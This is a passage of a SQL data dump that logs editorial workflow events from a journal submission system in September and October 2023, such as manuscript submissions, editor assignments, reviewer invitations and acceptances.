Publisher',14064,'Publisher',75),(130030,'2023-09-12 17:55:07','Manuscript Submitted by Publisher',14065,'Publisher',75),(130031,'2023-09-12 17:56:24','Manuscript Submitted by Publisher',14066,'Publisher',75),(130032,'2023-09-12 17:57:36','Manuscript Submitted by Publisher',14067,'Publisher',75),(130033,'2023-09-12 17:58:46','Manuscript Submitted by Publisher',14068,'Publisher',75),(130034,'2023-09-12 17:59:59','Manuscript Submitted by Publisher',14069,'Publisher',75),(130035,'2023-09-12 18:01:10','Manuscript Submitted by Publisher',14070,'Publisher',75),(130036,'2023-09-12 18:02:01','Manuscript Submitted by Publisher',14071,'Publisher',75),(130037,'2023-09-12 18:03:14','Manuscript Submitted by Publisher',14072,'Publisher',75),(130038,'2023-09-13 09:58:50','Publisher has been Accepted Articles  article',14031,'Publisher',984),(130039,'2023-09-13 16:42:57','Publisher has been Assigned Editor',14072,'Publisher',75),(130040,'2023-09-13 16:43:10','Publisher has been Assigned Editor',14071,'Publisher',75),(130041,'2023-09-13 16:43:31','Publisher has been Assigned Editor',14070,'Publisher',75),(130042,'2023-09-13 16:45:45','Publisher has been Assigned Editor',14069,'Publisher',75),(130043,'2023-09-13 16:45:59','Publisher has been Assigned Editor',14068,'Publisher',75),(130044,'2023-09-13 16:46:12','Publisher has been Assigned Editor',14067,'Publisher',75),(130045,'2023-09-13 16:46:24','Publisher has been Assigned Editor',14066,'Publisher',75),(130046,'2023-09-13 16:46:36','Publisher has been Assigned Editor',14065,'Publisher',75),(130047,'2023-09-13 16:46:47','Publisher has been Assigned Editor',14064,'Publisher',75),(130048,'2023-09-14 09:48:35','Manuscript Submitted by Publisher',14073,'Publisher',48),(130049,'2023-09-14 14:04:24','Editor has Accepted to review Manuscript',13971,'Editor',162),(130050,'2023-09-14 14:04:28','Editor has Accepted to review Manuscript',14064,'Editor',162),(130051,'2023-09-14 14:04:35','Editor has been Editor Decision Accepted article',13971,'Editor',162),(130052,'2023-09-14 14:04:40','Editor has been Editor Decision Accepted article',14064,'Editor',162),(130053,'2023-09-14 14:04:44','Editor has Accepted to review Manuscript',14065,'Editor',162),(130054,'2023-09-14 14:04:51','Editor has been Editor Decision Accepted article',14065,'Editor',162),(130055,'2023-09-14 14:04:55','Editor has Accepted to review Manuscript',14066,'Editor',162),(130056,'2023-09-14 14:05:01','Editor has been Editor Decision Accepted article',14066,'Editor',162),(130057,'2023-09-14 14:05:05','Editor has Accepted to review Manuscript',14067,'Editor',162),(130058,'2023-09-14 14:05:10','Editor has been Editor Decision Accepted article',14067,'Editor',162),(130059,'2023-09-14 14:05:10','Editor has been Editor Decision Accepted article',14067,'Editor',162),(130060,'2023-09-14 14:05:17','Editor has Accepted to review Manuscript',14068,'Editor',162),(130061,'2023-09-14 14:05:22','Editor has been Editor Decision Accepted article',14068,'Editor',162),(130062,'2023-09-14 14:05:28','Editor has Accepted to review Manuscript',14069,'Editor',162),(130063,'2023-09-14 14:05:35','Editor has been Editor Decision Accepted article',14069,'Editor',162),(130064,'2023-09-14 14:05:41','Editor has Accepted to review Manuscript',14070,'Editor',162),(130065,'2023-09-14 14:05:46','Editor has been Editor Decision Accepted article',14070,'Editor',162),(130066,'2023-09-14 14:05:51','Editor has Accepted to review Manuscript',14071,'Editor',162),(130067,'2023-09-14 14:05:56','Editor has been Editor Decision Accepted article',14071,'Editor',162),(130068,'2023-09-14 14:06:00','Editor has Accepted to review Manuscript',14072,'Editor',162),(130069,'2023-09-14 14:06:09','Editor has been Editor Decision Accepted article',14072,'Editor',162),(130070,'2023-09-14 14:06:37','Manuscript Updated',14064,'Publisher',75),(130071,'2023-09-14 14:06:55','Publisher has been Accepted Articles  article',14064,'Publisher',75),(130072,'2023-09-14 14:07:27','Manuscript Updated',14065,'Publisher',75),(130073,'2023-09-14 14:07:43','Publisher has been Accepted Articles  article',14065,'Publisher',75),(130074,'2023-09-14 14:10:08','Manuscript Updated',14066,'Publisher',75),(130075,'2023-09-14 14:10:19','Publisher has been Accepted Articles  article',14066,'Publisher',75),(130076,'2023-09-14 14:10:44','Manuscript Updated',14067,'Publisher',75),(130077,'2023-09-14 14:10:55','Publisher has been Accepted Articles  article',14067,'Publisher',75),(130078,'2023-09-14 14:11:13','Manuscript Updated',14068,'Publisher',75),(130079,'2023-09-14 14:11:27','Publisher has been Accepted Articles  article',14068,'Publisher',75),(130080,'2023-09-14 14:11:29','Publisher has been Accepted Articles  article',14068,'Publisher',75),(130081,'2023-09-14 14:11:47','Manuscript Updated',14069,'Publisher',75),(130082,'2023-09-14 14:12:07','Publisher has been Accepted Articles  article',14069,'Publisher',75),(130083,'2023-09-14 14:12:33','Manuscript Updated',14070,'Publisher',75),(130084,'2023-09-14 14:12:43','Publisher has been Accepted Articles  article',14070,'Publisher',75),(130085,'2023-09-14 14:12:45','Publisher has been Accepted Articles  article',14070,'Publisher',75),(130086,'2023-09-14 14:13:01','Manuscript Updated',14071,'Publisher',75),(130087,'2023-09-14 14:13:12','Publisher has been Accepted Articles  article',14071,'Publisher',75),(130088,'2023-09-14 14:13:25','Manuscript Updated',14072,'Publisher',75),(130089,'2023-09-14 14:13:25','Manuscript Updated',14072,'Publisher',75),(130090,'2023-09-14 14:13:35','Publisher has been Accepted Articles  article',14072,'Publisher',75),(130091,'2023-09-14 16:30:40','Publisher has been Assigned Editor',14073,'Publisher',48),(130092,'2023-09-15 09:44:37','Publisher has been Accepted Articles  article',13927,'Publisher',984),(130093,'2023-09-15 10:06:14','Manuscript Submitted by Publisher',14074,'Publisher',984),(130094,'2023-09-15 11:26:10','Manuscript Submitted by Publisher',14075,'Publisher',984),(130095,'2023-09-15 11:32:13','Manuscript Submitted by Publisher',14076,'Publisher',984),(130096,'2023-09-15 11:37:45','Manuscript Submitted by Publisher',14077,'Publisher',984),(130097,'2023-09-15 11:48:31','Manuscript Submitted by Publisher',14078,'Publisher',984),(130098,'2023-09-15 17:05:21','Manuscript Submitted by Publisher',14079,'Publisher',984),(130099,'2023-09-15 17:36:42','Manuscript Submitted by Publisher',14080,'Publisher',984),(130100,'2023-09-16 09:23:29','Publisher has Invited Reviewer',14073,'Publisher',48),(130101,'2023-09-16 09:23:34','Publisher has Invited Reviewer',14073,'Publisher',48),(130102,'2023-09-16 09:23:38','Publisher has Invited Reviewer',14073,'Publisher',48),(130103,'2023-09-17 16:37:03','Manuscript Submitted by Author using Submission form',14081,'Author',14138),(130104,'2023-09-19 10:10:16','Manuscript Submitted by Publisher',14082,'Publisher',984),(130105,'2023-09-19 12:14:56','Publisher has been Accepted Articles  article',13834,'',1502),(130106,'2023-09-19 12:52:44','Publisher has been Accepted Articles  article',14053,'',1491),(130107,'2023-09-19 13:05:53','Manuscript Submitted by Author using Submission form',14083,'Author',14141),(130108,'2023-09-19 13:35:45','Manuscript Submitted by Author',14084,'Author',14141),(130109,'2023-09-20 09:23:22','Publisher has been Assigned Editor',14083,'Publisher',48),(130110,'2023-09-20 12:57:38','Publisher has been Accepted Articles  article',14056,'',1491),(130111,'2023-09-20 12:57:42','Publisher has been Accepted Articles  article',14056,'',1491),(130112,'2023-09-20 12:57:43','Publisher has been Accepted Articles  article',14056,'',1491),(130113,'2023-09-20 12:57:45','Publisher has been Accepted Articles  article',14056,'',1491),(130114,'2023-09-20 12:57:47','Publisher has been Accepted Articles  article',14056,'',1491),(130115,'2023-09-21 13:21:58','Manuscript Submitted by Publisher',14085,'Publisher',48),(130116,'2023-09-21 13:22:23','Publisher has been Assigned Editor',14084,'Publisher',48),(130117,'2023-09-21 14:19:41','Publisher has been Assigned Editor',12398,'',1503),(130118,'2023-09-21 14:21:30','Publisher has been Assigned Editor',13184,'',1491),(130119,'2023-09-21 14:21:43','Publisher has been Assigned Editor',12758,'',1491),(130120,'2023-09-21 14:22:05','Publisher has been Assigned Editor',12742,'',1491),(130121,'2023-09-21 14:22:18','Publisher has been Assigned Editor',12739,'',1491),(130122,'2023-09-21 14:22:30','Publisher has been Assigned Editor',0,'',1491),(130123,'2023-09-21 14:22:58','Publisher has been Assigned Editor',0,'',1491),(130124,'2023-09-21 14:54:01','Publisher has been Assigned Editor',2051,'',1498),(130125,'2023-09-21 14:54:54','Publisher has been Assigned Editor',2623,'',1498),(130126,'2023-09-21 14:55:32','Publisher has been Assigned Editor',2697,'',1498),(130127,'2023-09-21 14:57:05','Publisher has been Assigned Editor',3874,'',1494),(130128,'2023-09-21 14:58:25','Publisher has been Assigned Editor',6824,'',1492),(130129,'2023-09-21 14:59:39','Publisher has been Assigned Editor',6851,'',1494),(130130,'2023-09-21 15:02:24','Publisher has been Assigned Editor',8807,'',1494),(130131,'2023-09-21 15:03:36','Publisher has been Assigned Editor',12224,'',1502),(130132,'2023-09-22 12:15:22','Manuscript Submitted by Publisher',14086,'Publisher',984),(130133,'2023-09-22 14:18:57','Manuscript Submitted by Publisher',14087,'Publisher',984),(130134,'2023-09-22 14:19:19','Publisher has been Assigned Editor',14082,'Publisher',984),(130135,'2023-09-22 14:19:43','Publisher has been Assigned Editor',14080,'Publisher',984),(130136,'2023-09-22 14:20:28','Publisher has been Assigned Editor',14079,'Publisher',984),(130137,'2023-09-22 14:41:41','Publisher has been Assigned Editor',14077,'Publisher',984),(130138,'2023-09-23 10:24:45','Publisher has been Assigned Editor',14085,'Publisher',48),(130139,'2023-09-23 10:26:59','Publisher has Invited Reviewer',14083,'Publisher',48),(130140,'2023-09-23 10:27:04','Publisher has Invited Reviewer',14083,'Publisher',48),(130141,'2023-09-23 10:27:33','Publisher has Invited Reviewer',14084,'Publisher',48),(130142,'2023-09-23 10:27:38','Publisher has Invited Reviewer',14084,'Publisher',48),(130143,'2023-09-25 10:30:35','Publisher has been Assigned Editor',14076,'Publisher',984),(130144,'2023-09-25 10:31:07','Publisher has been Assigned Editor',14074,'Publisher',984),(130145,'2023-09-25 15:30:58','Reviewer has submitted comments',14030,'Reviewer',11715),(130146,'2023-09-25 15:31:52','Editor has Accepted to review Manuscript',14030,'Editor',190),(130147,'2023-09-25 15:32:21','Editor has been Editor Decision Accepted article',14030,'Editor',190),(130148,'2023-09-25 15:33:51','Publisher: Accept Notification has been sent to Author',14030,'Publisher',48),(130149,'2023-09-25 15:34:09','Publisher has been Accepted Articles  article',14030,'Publisher',48),(130150,'2023-09-27 11:04:29','Reviewer has submitted comments',14047,'Reviewer',14534),(130151,'2023-09-27 11:06:03','Editor has Accepted to review Manuscript',14047,'Editor',190),(130152,'2023-09-27 11:06:14','Editor has been Editor Decision Accepted article',14047,'Editor',190),(130153,'2023-09-27 11:07:06','Publisher: Accept Notification has been sent to Author',14047,'Publisher',48),(130154,'2023-09-27 11:07:33','Publisher has been Accepted Articles  article',14047,'Publisher',48),(130155,'2023-09-27 13:46:07','Publisher has been Assigned Editor',14087,'Publisher',984),(130156,'2023-09-27 13:47:14','Publisher has been Assigned Editor',14086,'Publisher',984),(130157,'2023-09-27 13:55:50','Editor has Accepted to review Manuscript',14077,'Editor',1406),(130158,'2023-09-27 13:56:03','Editor has been Editor Decision Accepted article',14077,'Editor',1406),(130159,'2023-09-27 13:56:21','Editor has Accepted to review Manuscript',14074,'Editor',1406),(130160,'2023-09-27 13:56:29','Editor has been Editor Decision Accepted article',14074,'Editor',1406),(130161,'2023-09-27 13:59:31','Editor has Accepted to review Manuscript',14082,'Editor',1782),(130162,'2023-09-27 13:59:51','Editor has been Editor Decision Accepted article',14082,'Editor',1782),(130163,'2023-09-27 14:00:22','Editor has Accepted to review Manuscript',14080,'Editor',1782),(130164,'2023-09-27 14:00:32','Editor has been Editor Decision Accepted article',14080,'Editor',1782),(130165,'2023-09-27 14:01:45','Editor has Accepted to review Manuscript',14086,'Editor',1342),(130166,'2023-09-27 14:01:59','Editor has been Editor Decision Accepted article',14086,'Editor',1342),(130167,'2023-09-27 14:02:10','Editor has Accepted to review Manuscript',14076,'Editor',1342),(130168,'2023-09-27 14:02:38','Editor has been Editor Decision Accepted article',14076,'Editor',1342),(130169,'2023-09-27 14:04:56','Editor has Accepted to review Manuscript',14087,'Editor',1710),(130170,'2023-09-27 14:05:11','Editor has been Editor Decision Accepted article',14087,'Editor',1710),(130171,'2023-09-27 14:05:20','Editor has Accepted to review Manuscript',14079,'Editor',1710),(130172,'2023-09-27 14:05:35','Editor has been Editor Decision Accepted article',14079,'Editor',1710),(130173,'2023-09-28 15:57:41','Reviewer has submitted comments',14058,'Reviewer',21374),(130174,'2023-09-28 15:58:04','Editor has Accepted to review Manuscript',14058,'Editor',192),(130175,'2023-09-28 15:58:12','Editor has been Editor Decision Accepted article',14058,'Editor',192),(130176,'2023-09-28 15:59:27','Publisher: Accept Notification has been sent to Author',14058,'Publisher',48),(130177,'2023-09-28 15:59:44','Publisher has been Accepted Articles  article',14058,'Publisher',48),(130178,'2023-09-29 13:43:09','Reviewer has submitted comments',14061,'Reviewer',11162),(130179,'2023-09-29 13:43:38','Editor has Accepted to review Manuscript',14061,'Editor',194),(130180,'2023-09-29 13:43:50','Editor has been Editor Decision Accepted article',14061,'Editor',194),(130181,'2023-09-29 13:45:02','Publisher: Accept Notification has been sent to Author',14061,'Publisher',48),(130182,'2023-09-29 13:45:22','Publisher has been Accepted Articles  article',14061,'Publisher',48),(130183,'2023-09-29 13:49:01','Publisher has been Withdrawn  article',14073,'Publisher',48),(130184,'2023-09-29 15:21:46','Manuscript Submitted by Publisher',14088,'Publisher',48),(130185,'2023-09-30 11:26:57','Publisher has been Assigned Editor',14088,'Publisher',48),(130186,'2023-10-01 09:10:15','Manuscript Submitted by Author',14089,'Author',4576),(130187,'2023-10-03 10:21:47','Publisher has been Accepted Articles  article',14046,'',1499),(130188,'2023-10-03 12:09:15','Publisher has been Accepted Articles  article',14045,'',1499),(130189,'2023-10-03 12:14:26','Publisher has been Accepted Articles  article',14049,'',1499),(130190,'2023-10-03 12:18:03','Publisher has been Accepted Articles  article',14050,'',1499),(130191,'2023-10-03 12:22:28','Publisher has been Accepted Articles  article',14051,'',1499),(130192,'2023-10-03 12:29:45','Publisher has been Accepted Articles  article',12224,'',1502),(130193,'2023-10-03 14:38:50','Editor has Accepted to review Manuscript',14084,'Editor',194),(130194,'2023-10-03 14:39:06','Editor has Accepted to review Manuscript',14083,'Editor',194),(130195,'2023-10-03 14:39:19','Editor has been Editor Decision Accepted article',14084,'Editor',194),(130196,'2023-10-03 14:39:31','Editor has been Editor Decision Accepted article',14083,'Editor',194),(130197,'2023-10-03 14:40:16','Manuscript Updated',14083,'Publisher',48),(130198,'2023-10-03 14:40:50','Publisher: Accept Notification has been sent to Author',14083,'Publisher',48),(130199,'2023-10-03 14:41:12','Publisher: Accept Notification has been sent to Author',14084,'Publisher',48),(130200,'2023-10-03 14:41:47','Publisher has been Accepted Articles  article',14083,'Publisher',48),(130201,'2023-10-03 14:42:20','Publisher has been Accepted Articles  article',14084,'Publisher',48),(130202,'2023-10-03 15:40:31','Editor has Accepted to review Manuscript',14088,'Editor',194),(130203,'2023-10-03 15:40:40','Editor has been Editor Decision Accepted article',14088,'Editor',194),(130204,'2023-10-03 15:41:14','Manuscript Updated',14088,'Publisher',48),(130205,'2023-10-03 15:41:36','Publisher has been Accepted Articles  article',14088,'Publisher',48),(130206,'2023-10-03 16:45:40','Publisher has been Assigned Editor',14089,'Publisher',48),(130207,'2023-10-04 10:42:26','Manuscript Submitted by Publisher',14090,'Publisher',48),(130208,'2023-10-04 11:02:22','Manuscript Submitted by Publisher',14091,'Publisher',48),(130209,'2023-10-04 11:26:32','Manuscript Submitted by Publisher',14092,'Publisher',48),(130210,'2023-10-04 13:27:43','Publisher has been Assigned Editor',0,'Publisher',984),(130211,'2023-10-05 09:17:35','Publisher has been Assigned Editor',14090,'Publisher',48),(130212,'2023-10-05 09:17:49','Publisher has been Assigned Editor',14091,'Publisher',48),(130213,'2023-10-05 09:18:02','Publisher has been Assigned Editor',14092,'Publisher',48),(130214,'2023-10-05 11:59:09','Manuscript Submitted by Author using Submission form',14093,'Author',14148),(130215,'2023-10-05 14:50:40','Publisher has been Assigned Editor',0,'Publisher',984),(130216,'2023-10-05 15:28:51','Editor has Accepted to review Manuscript',14090,'Editor',193),(130217,'2023-10-05 15:29:02','Editor has been Editor Decision Accepted article',14090,'Editor',193),(130218,'2023-10-05 15:29:42','Editor has Accepted to review Manuscript',14091,'Editor',192),(130219,'2023-10-05 15:29:54','Editor has been Editor Decision Accepted article',14091,'Editor',192),(130220,'2023-10-05 15:30:20','Editor has Accepted to review Manuscript',14092,'Editor',191),(130221,'2023-10-05 15:30:32','Editor has been Editor Decision Accepted article',14092,'Editor',191),(130222,'2023-10-05 15:31:03','Manuscript Updated',14090,'Publisher',48),(130223,'2023-10-05 15:31:19','Publisher has been Accepted Articles  article',14090,'Publisher',48),(130224,'2023-10-05 15:31:38','Manuscript Updated',14090,'Publisher',48),(130225,'2023-10-05 15:31:57','Manuscript Updated',14091,'Publisher',48),(130226,'2023-10-05 15:32:07','Publisher has been Accepted Articles  article',14091,'Publisher',48),(130227,'2023-10-05 15:32:16','Manuscript Updated',14091,'Publisher',48),(130228,'2023-10-05 15:32:33','Manuscript Updated',14092,'Publisher',48),(130229,'2023-10-05 15:32:45','Publisher has been Accepted Articles  article',14092,'Publisher',48),(130230,'2023-10-05 15:32:52','Manuscript Updated',14092,'Publisher',48),(130231,'2023-10-06 11:54:01','Publisher has been Accepted Articles  article',14074,'Publisher',984),(130232,'2023-10-06 11:54:24','Publisher has been Accepted Articles  article',14076,'Publisher',984),(130233,'2023-10-06 11:54:52','Publisher has been Accepted Articles  article',14077,'Publisher',984),(130234,'2023-10-06 11:55:23','Publisher has been Accepted Articles  article',14079,'Publisher',984),(130235,'2023-10-06 11:55:53','Publisher has been Accepted Articles  article',14080,'Publisher',984),(130236,'2023-10-06 11:56:27','Publisher has been Accepted Articles  article',14082,'Publisher',984),(130237,'2023-10-06 11:57:23','Publisher has been Withdrawn  article',14087,'Publisher',984),(130238,'2023-10-07 09:41:09','Publisher has been Assigned Editor',14093,'Publisher',48),(130239,'2023-10-09 15:58:26','Manuscript Submitted by Publisher',14095,'Publisher',85),(130240,'2023-10-10 11:34:35','Publisher has been Assigned Editor',14095,'Publisher',85),(130241,'2023-10-10 11:34:54','Manuscript Updated',14095,'Publisher',85),(130242,'2023-10-10 11:35:38','Editor has Accepted to review Manuscript',14095,'Editor',1408),(130243,'2023-10-10 11:35:50','Editor has been Editor Decision Accepted article',14095,'Editor',1408),(130244,'2023-10-10 11:36:45','Publisher: Accept Notification has been sent to Author',14095,'Publisher',85),(130245,'2023-10-10 13:28:31','Manuscript Updated',14095,'Publisher',85),(130246,'2023-10-10 14:19:26','Manuscript Submitted by Author using Submission form',14096,'Author',14151),(130247,'2023-10-10 15:20:17','Manuscript Submitted by Publisher',14097,'',1050),(130248,'2023-10-10 19:25:37','Manuscript Submitted by Author',14098,'Author',12056),(130249,'2023-10-12 01:38:06','Manuscript Submitted by Author using Submission form',14099,'Author',14154),(130250,'2023-10-12 15:50:45','Publisher has Invited Reviewer',13828,'Publisher',274),(130251,'2023-10-12 15:50:50','Publisher has Invited Reviewer',13828,'Publisher',274),(130252,'2023-10-12 15:50:54','Publisher has Invited Reviewer',13828,'Publisher',274),(130253,'2023-10-12 15:50:59','Publisher has Invited Reviewer',13828,'Publisher',274),(130254,'2023-10-12 15:51:04','Publisher has Invited Reviewer',13828,'Publisher',274),(130255,'2023-10-12 15:51:08','Publisher has Invited Reviewer',13828,'Publisher',274),(130256,'2023-10-12 15:51:13','Publisher has Invited Reviewer',13828,'Publisher',274),(130257,'2023-10-12 15:51:17','Publisher has Invited Reviewer',13828,'Publisher',274),(130258,'2023-10-12 15:51:22','Publisher has Invited Reviewer',13828,'Publisher',274),(130259,'2023-10-12 15:51:27','Publisher has Invited Reviewer',13828,'Publisher',274),(130260,'2023-10-12 15:51:31','Publisher has Invited Reviewer',13828,'Publisher',274),(130261,'2023-10-12 15:51:36','Publisher has Invited Reviewer',13828,'Publisher',274),(130262,'2023-10-12 15:51:41','Publisher has Invited Reviewer',13828,'Publisher',274),(130263,'2023-10-12 15:51:45','Publisher has Invited Reviewer',13828,'Publisher',274),(130264,'2023-10-12 15:51:50','Publisher has Invited Reviewer',13828,'Publisher',274),(130265,'2023-10-12 15:51:55','Publisher has Invited Reviewer',13828,'Publisher',274),(130266,'2023-10-12 15:51:59','Publisher has Invited Reviewer',13828,'Publisher',274),(130267,'2023-10-12 15:52:04','Publisher has Invited Reviewer',13828,'Publisher',274),(130268,'2023-10-12 15:52:09','Publisher has Invited Reviewer',13828,'Publisher',274),(130269,'2023-10-12 15:52:13','Publisher has Invited Reviewer',13828,'Publisher',274),(130270,'2023-10-12 15:53:20','Publisher has been Assigned Editor',14101,'Publisher',48),(130271,'2023-10-12 15:59:38','Publisher has been Accepted Articles  article',13826,'',1441),(130272,'2023-10-12 16:30:26','Publisher has been Accepted Articles  article',13871,'',1441),(130273,'2023-10-12 16:35:01','Publisher has been Accepted Articles  article',13899,'',1334),(130274,'2023-10-12 16:36:14','Publisher has been Accepted Articles  article',13889,'',1334),(130275,'2023-10-12 16:37:37','Publisher has been Accepted Articles  article',13888,'',1279),(130276,'2023-10-12 16:38:59','Publisher has been Accepted Articles  article',13852,'',1279),(130277,'2023-10-12 16:46:37','Publisher has been Accepted Articles  article',13860,'',1376),(130278,'2023-10-12 16:48:24','Publisher has been Accepted Articles  article',13828,'',1315),(130279,'2023-10-12 17:13:15','Publisher has been Assigned Editor',14087,'Publisher',984),(130280,'2023-10-12 18:11:04','Manuscript Submitted by Publisher',14102,'Publisher',274),(130281,'2023-10-12 18:16:54','Manuscript Submitted by Publisher',14103,'Publisher',274),(130282,'2023-10-12 22:55:31','Manuscript Submitted by Author using Submission form',14104,'Author',14156),(130283,'2023-10-12 23:07:21','Manuscript Submitted by Author',14105,'Author',14156),(130284,'2023-10-13 09:41:34','Manuscript Submitted by Publisher',14106,'',1050),(130285,'2023-10-13 14:20:26','Publisher has been Assigned Editor',14104,'Publisher',48),(130286,'2023-10-13 14:20:43','Publisher has been Assigned Editor',14105,'Publisher',48),(130287,'2023-10-13 14:21:58','Publisher has Invited Reviewer',14101,'Publisher',48),(130288,'2023-10-13 14:22:03','Publisher has Invited Reviewer',14101,'Publisher',48),(130289,'2023-10-13 14:22:07','Publisher has Invited Reviewer',14101,'Publisher',48),(130290,'2023-10-13 14:22:12','Publisher has Invited Reviewer',14101,'Publisher',48),(130291,'2023-10-13 14:22:59','Publisher has Invited Reviewer',14104,'Publisher',48),(130292,'2023-10-13 14:23:04','Publisher has Invited Reviewer',14104,'Publisher',48),(130293,'2023-10-13 14:23:09','Publisher has Invited Reviewer',14104,'Publisher',48),(130294,'2023-10-13 14:23:37','Publisher has Invited Reviewer',14105,'Publisher',48),(130295,'2023-10-13 14:23:42','Publisher has Invited Reviewer',14105,'Publisher',48),(130296,'2023-10-13 14:23:46','Publisher has Invited Reviewer',14105,'Publisher',48),(130297,'2023-10-13 14:24:34','Publisher has Invited Reviewer',14093,'Publisher',48),(130298,'2023-10-13 14:24:38','Publisher has Invited Reviewer',14093,'Publisher',48),(130299,'2023-10-13 16:37:31','Publisher: Accept Notification has been sent to Author',14030,'Publisher',48),(130300,'2023-10-13 16:37:40','Publisher: Accept Notification has been sent to Author',14030,'Publisher',48),(130301,'2023-10-13 16:37:50','Publisher: Accept Notification has been sent to Author',14030,'Publisher',48),(130302,'2023-10-14 12:09:36','Author sent Email',14022,'Author',14092),(130303,'2023-10-16 12:18:48','Publisher has been Assigned Editor',14099,'',1050),(130304,'2023-10-17 11:14:30','Publisher has been Accepted Articles  article',12739,'',1491),(130305,'2023-10-17 11:14:46','Publisher has been Accepted Articles  article',12739,'',1491),(130306,'2023-10-17 11:14:52','Publisher has been Accepted Articles  article',12739,'',1491),(130307,'2023-10-17 11:19:12','Publisher has been Accepted Articles  article',12742,'',1491),(130308,'2023-10-17 11:23:56','Publisher has been Accepted Articles  article',12758,'',1491),(130309,'2023-10-17 11:31:54','Publisher has been Accepted Articles  article',13184,'',1491),(130310,'2023-10-17 17:59:23','Publisher has been Assigned Editor',14103,'Publisher',274),(130311,'2023-10-17 17:59:37','Publisher has been Assigned Editor',14102,'Publisher',274),(130312,'2023-10-18 14:01:27','Manuscript Submitted by Publisher',14109,'Publisher',48),(130313,'2023-10-18 15:26:10','Publisher has Invited Reviewer',14089,'Publisher',48),(130314,'2023-10-18 15:26:15','Publisher has Invited Reviewer',14089,'Publisher',48),(130315,'2023-10-18 15:26:19','Publisher has Invited Reviewer',14089,'Publisher',48),(130316,'2023-10-18 15:28:35','Reviewer has submitted comments',14089,'Reviewer',11714),(130317,'2023-10-18 15:28:56','Editor has Accepted to review Manuscript',14089,'Editor',194),(130318,'2023-10-18 15:29:05','Editor has been Editor Decision Accepted article',14089,'Editor',194),(130319,'2023-10-18 15:29:46','Publisher has been Accepted Articles  article',14089,'Publisher',48),(130320,'2023-10-18 22:02:07','Manuscript Submitted by Author using Submission form',14110,'Author',14161),(130321,'2023-10-19 10:47:03','Publisher has Invited Reviewer',14102,'Publisher',274),(130322,'2023-10-19 10:47:20','Publisher has Invited Reviewer',14102,'Publisher',274),(130323,'2023-10-19 10:47:25','Publisher has Invited Reviewer',14102,'Publisher',274),(130324,'2023-10-19 10:47:29','Publisher has Invited Reviewer',14102,'Publisher',274),(130325,'2023-10-19 10:47:34','Publisher has Invited Reviewer',14102,'Publisher',274),(130326,'2023-10-19 10:47:39','Publisher has Invited Reviewer',14102,'Publisher',274),(130327,'2023-10-19 10:47:44','Publisher has Invited Reviewer',14102,'Publisher',274),(130328,'2023-10-19 10:47:49','Publisher has Invited Reviewer',14102,'Publisher',274),(130329,'2023-10-19 10:47:54','Publisher has Invited Reviewer',14102,'Publisher',274),(130330,'2023-10-19 10:47:58','Publisher has Invited Reviewer',14102,'Publisher',274),(130331,'2023-10-19 10:48:03','Publisher has Invited Reviewer',14102,'Publisher',274),(130332,'2023-10-19 10:48:08','Publisher has Invited Reviewer',14102,'Publisher',274),(130333,'2023-10-19 10:48:13','Publisher has Invited Reviewer',14102,'Publisher',274),(130334,'2023-10-19 10:48:17','Publisher has Invited Reviewer',14102,'Publisher',274),(130335,'2023-10-19 10:48:22','Publisher has Invited Reviewer',14102,'Publisher',274),(130336,'2023-10-19 10:48:27','Publisher has Invited Reviewer',14102,'Publisher',274),(130337,'2023-10-19 10:48:31','Publisher has Invited Reviewer',14102,'Publisher',274),(130338,'2023-10-19 10:48:36','Publisher has Invited Reviewer',14102,'Publisher',274),(130339,'2023-10-19 10:48:41','Publisher has Invited Reviewer',14102,'Publisher',274),(130340,'2023-10-19 10:48:45','Publisher has Invited Reviewer',14102,'Publisher',274),(130341,'2023-10-19 10:48:50','Publisher has Invited Reviewer',14102,'Publisher',274),(130342,'2023-10-19 11:27:21','Editor has Accepted to review Manuscript',14087,'Editor',1342),(130343,'2023-10-19 11:27:37','Editor has been Editor Decision Accepted article',14087,'Editor',1342),(130344,'2023-10-19 11:28:16','Editor has been Editor Decision Accepted article',14086,'Editor',1342),(130345,'2023-10-19 11:29:42','Publisher has been Accepted Articles  article',14087,'Publisher',984),(130346,'2023-10-19 11:30:15','Publisher has been Accepted Articles  article',14086,'Publisher',984),(130347,'2023-10-19 11:32:39','Publisher has been Assigned Editor',14109,'Publisher',48),(130348,'2023-10-19 15:54:37','Publisher has Invited Reviewer',14103,'Publisher',274),(130349,'2023-10-19 15:54:42','Publisher has Invited Reviewer',14103,'Publisher',274),(130350,'2023-10-19 15:54:47','Publisher has Invited Reviewer',14103,'Publisher',274),(130351,'2023-10-19 15:54:51','Publisher has Invited Reviewer',14103,'Publisher',274),(130352,'2023-10-19 15:54:56','Publisher has Invited Reviewer',14103,'Publisher',274),(130353,'2023-10-19 15:55:01','Publisher has Invited Reviewer',14103,'Publisher',274),(130354,'2023-10-19 15:55:06','Publisher has Invited Reviewer',14103,'Publisher',274),(130355,'2023-10-19 15:55:10','Publisher has Invited Reviewer',14103,'Publisher',274),(130356,'2023-10-19 15:55:15','Publisher has Invited Reviewer',14103,'Publisher',274),(130357,'2023-10-19 15:55:20','Publisher has Invited Reviewer',14103,'Publisher',274),(130358,'2023-10-19 15:55:25','Publisher has Invited Reviewer',14103,'Publisher',274),(130359,'2023-10-19 15:55:29','Publisher has Invited Reviewer',14103,'Publisher',274),(130360,'2023-10-19 15:55:34','Publisher has Invited Reviewer',14103,'Publisher',274),(130361,'2023-10-19 15:55:39','Publisher has Invited Reviewer',14103,'Publisher',274),(130362,'2023-10-19 15:55:43','Publisher has Invited Reviewer',14103,'Publisher',274),(130363,'2023-10-19 15:55:48','Publisher has Invited Reviewer',14103,'Publisher',274),(130364,'2023-10-19 15:55:53','Publisher has Invited Reviewer',14103,'Publisher',274),(130365,'2023-10-19 15:55:58','Publisher has Invited Reviewer',14103,'Publisher',274),(130366,'2023-10-19 15:56:02','Publisher has Invited Reviewer',14103,'Publisher',274),(130367,'2023-10-19 15:56:07','Publisher has Invited Reviewer',14103,'Publisher',274),(130368,'2023-10-19 15:56:12','Publisher has Invited Reviewer',14103,'Publisher',274),(130369,'2023-10-19 15:56:16','Publisher has Invited Reviewer',14103,'Publisher',274),(130370,'2023-10-19 15:56:21','Publisher has Invited Reviewer',14103,'Publisher',274),(130371,'2023-10-19 15:56:26','Publisher has Invited Reviewer',14103,'Publisher',274),(130372,'2023-10-19 15:56:31','Publisher has Invited Reviewer',14103,'Publisher',274),(130373,'2023-10-19 15:56:36','Publisher has Invited Reviewer',14103,'Publisher',274),(130374,'2023-10-19 15:56:41','Publisher has Invited Reviewer',14103,'Publisher',274),(130375,'2023-10-19 15:56:46','Publisher has Invited Reviewer',14103,'Publisher',274),(130376,'2023-10-19 